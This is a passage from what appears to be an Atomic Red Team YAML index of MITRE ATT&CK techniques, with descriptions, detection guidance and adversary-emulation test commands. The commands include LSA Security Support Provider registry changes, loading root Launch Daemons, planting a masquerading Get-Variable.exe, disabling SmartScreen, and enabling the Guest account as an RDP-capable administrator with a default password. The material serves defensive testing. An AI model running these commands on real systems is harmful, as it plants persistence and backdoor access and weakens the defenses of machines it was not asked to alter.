NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1547.005 atomic_tests: - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e description: | Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder. A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/ supported_platforms: - windows executor: command: | $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old'; name: powershell elevation_required: true - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry auto_generated_guid: de3f8e74-3351-4fdb-a442-265dbf231738 description: Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys. supported_platforms: - windows executor: command: | $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old'; name: powershell elevation_required: true T1543.004: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Create or Modify System Process: Launch Daemon' description: |- Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |+ Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP. Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'File: File Modification' - 'Service: Service Modification' - 'Command: Command Execution' - 'Service: Service Creation' x_mitre_effective_permissions: - root - Administrator x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba created: '2020-01-17T19:23:15.227Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/004 external_id: T1543.004 - source_name: AppleDocs Launch Agent Daemons description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: Methods of Mac Malware Persistence description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: launchd Keywords for plists description: Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021. url: https://www.real-world-systems.com/docs/launchdPlist.1.html - source_name: WireLurker description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: OSX Malware Detection description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - source_name: LaunchDaemon Hijacking description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.' url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/ - source_name: sentinelone macos persist Jun 2019 description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1543.004 atomic_tests: - name: Launch Daemon auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf description: 'Utilize LaunchDaemon to launch `Hello World` ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename} cleanup_command: | sudo launchctl unload /Library/LaunchDaemons/#{plist_filename} sudo rm /Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt - name: Launch Daemon - Users Directory auto_generated_guid: 6f899f9d-8a8e-4143-89a5-26fc2c3ec438 description: 'Utilize LaunchDaemon in /Users directory to touch temporary file in /tmp ' supported_platforms: - macos input_arguments: plist_filename: description: filename type: string default: com.atomicredteam.T1543.004.plist path_malicious_plist: description: Name of file to store in cron folder type: string default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_malicious_plist} ~/Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w ~/Library/LaunchDaemons/#{plist_filename} cleanup_command: |- sudo launchctl unload ~/Library/LaunchDaemons/#{plist_filename} sudo rm ~/Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt T1574.008: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: Path Interception by Search Order Hijacking' description: |- Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property) Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak x_mitre_detection: | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Modification' - 'File: File Creation' x_mitre_effective_permissions: - Administrator - SYSTEM - User x_mitre_permissions_required: - Administrator - User - SYSTEM type: attack-pattern id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2 created: '2020-03-13T17:48:58.999Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/008 external_id: T1574.008 - source_name: Microsoft CreateProcess description: Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. url: http://msdn.microsoft.com/en-us/library/ms682425 - source_name: Windows NT Command Shell description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014. url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120 - source_name: Microsoft WinExec description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014. url: http://msdn.microsoft.com/en-us/library/ms687393 - source_name: Microsoft Environment Property description: Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016. url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1574.008 atomic_tests: - name: powerShell Persistence via hijacking default modules - Get-Variable.exe auto_generated_guid: 1561de08-0b4b-498e-8261-e922f3494aae description: "Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n" supported_platforms: - windows executor: command: | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs" Powershell -noprofile cleanup_command: | Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore Stop-Process -Name "calculator" name: powershell T1484.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Domain Policy Modification: Group Policy Modification' description: "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), \ and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created * Event ID 5138 - A directory service object was undeleted * Event ID 5139 - A directory service object was moved * Event ID 5141 - A directory service object was deleted GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). x_mitre_platforms: - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Itamar Mizrahi, Cymptom - Tristan Bennett, Seamless Intelligence x_mitre_data_sources: - 'Command: Command Execution' - 'Active Directory: Active Directory Object Creation' - 'Active Directory: Active Directory Object Modification' - 'Active Directory: Active Directory Object Deletion' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163 created: '2020-12-28T21:50:59.844Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484/001 external_id: T1484.001 - source_name: Mandiant M Trends 2016 description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019. url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf - source_name: ADSecurity GPO Persistence 2016 description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.' url: https://adsecurity.org/?p=2716 - source_name: Microsoft Hacking Team Breach description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.' url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/ - source_name: Wald0 Guide to GPOs description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. url: https://wald0.com/?p=179 - source_name: Harmj0y Abusing GPO Permissions description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ - source_name: Harmj0y SeEnableDelegationPrivilege Right description: Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019. url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ - source_name: TechNet Group Policy Basics description: 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.' url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1484.001 atomic_tests: - name: LockBit Black - Modify Group policy settings -cmd auto_generated_guid: 9ab80952-74ee-43da-a98c-1e740a985f28 description: 'An adversary can modify the group policy settings. ' supported_platforms: - windows executor: command: | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f cleanup_command: | reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /f >nul 2>&1 name: command_prompt elevation_required: true - name: LockBit Black - Modify Group policy settings -Powershell auto_generated_guid: b51eae65-5441-4789-b8e8-64783c26c1d1 description: 'An adversary modifies group policy settings ' supported_platforms: - windows executor: command: | New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force cleanup_command: "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore\n" name: powershell elevation_required: true T1078.001: technique: modified: '2024-03-07T14:27:04.770Z' name: 'Valid Accounts: Default Accounts' description: |- Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d created: '2020-03-13T20:15:31.974Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/001 external_id: T1078.001 - source_name: AWS Root User description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html - source_name: Microsoft Local Accounts Feb 2019 description: Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Metasploit SSH Module description: undefined. (n.d.). Retrieved April 12, 2019. url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.001 atomic_tests: - name: Enable Guest account with RDP capability and admin privileges auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0 description: | After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections. supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest guest_password: description: Specify the guest password type: string default: Password123! local_admin_group: description: Specify the admin localgroup name type: string default: Administrators remote_desktop_users_group_name: description: Specify the remote desktop users group name type: string default: Remote Desktop Users remove_rdp_access_during_cleanup: description: Set to 1 if you want the cleanup to remove RDP access to machine type: integer default: 0 executor: command: |- net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f cleanup_command: |- net user #{guest_user} /active:no >nul 2>&1 net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1 net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1 if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1) name: command_prompt elevation_required: true - name: Activate Guest Account auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default ' supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest executor: command: 'net user #{guest_user} /active:yes ' cleanup_command: 'net user #{guest_user} /active:no ' name: command_prompt elevation_required: true - name: Enable Guest Account on macOS auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4 description: This test enables the guest account on macOS using sysadminctl utility. supported_platforms: - macos executor: command: sudo sysadminctl -guestAccount on cleanup_command: sudo sysadminctl -guestAccount off name: sh elevation_required: true T1547.003: technique: modified: '2024-04-12T02:34:58.003Z' name: Time Providers description: |- Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider) Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider) Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Scott Lundgren, @5twenty9, Carbon Black - Harun Küßner x_mitre_deprecated: false x_mitre_detection: |- Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017) The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command 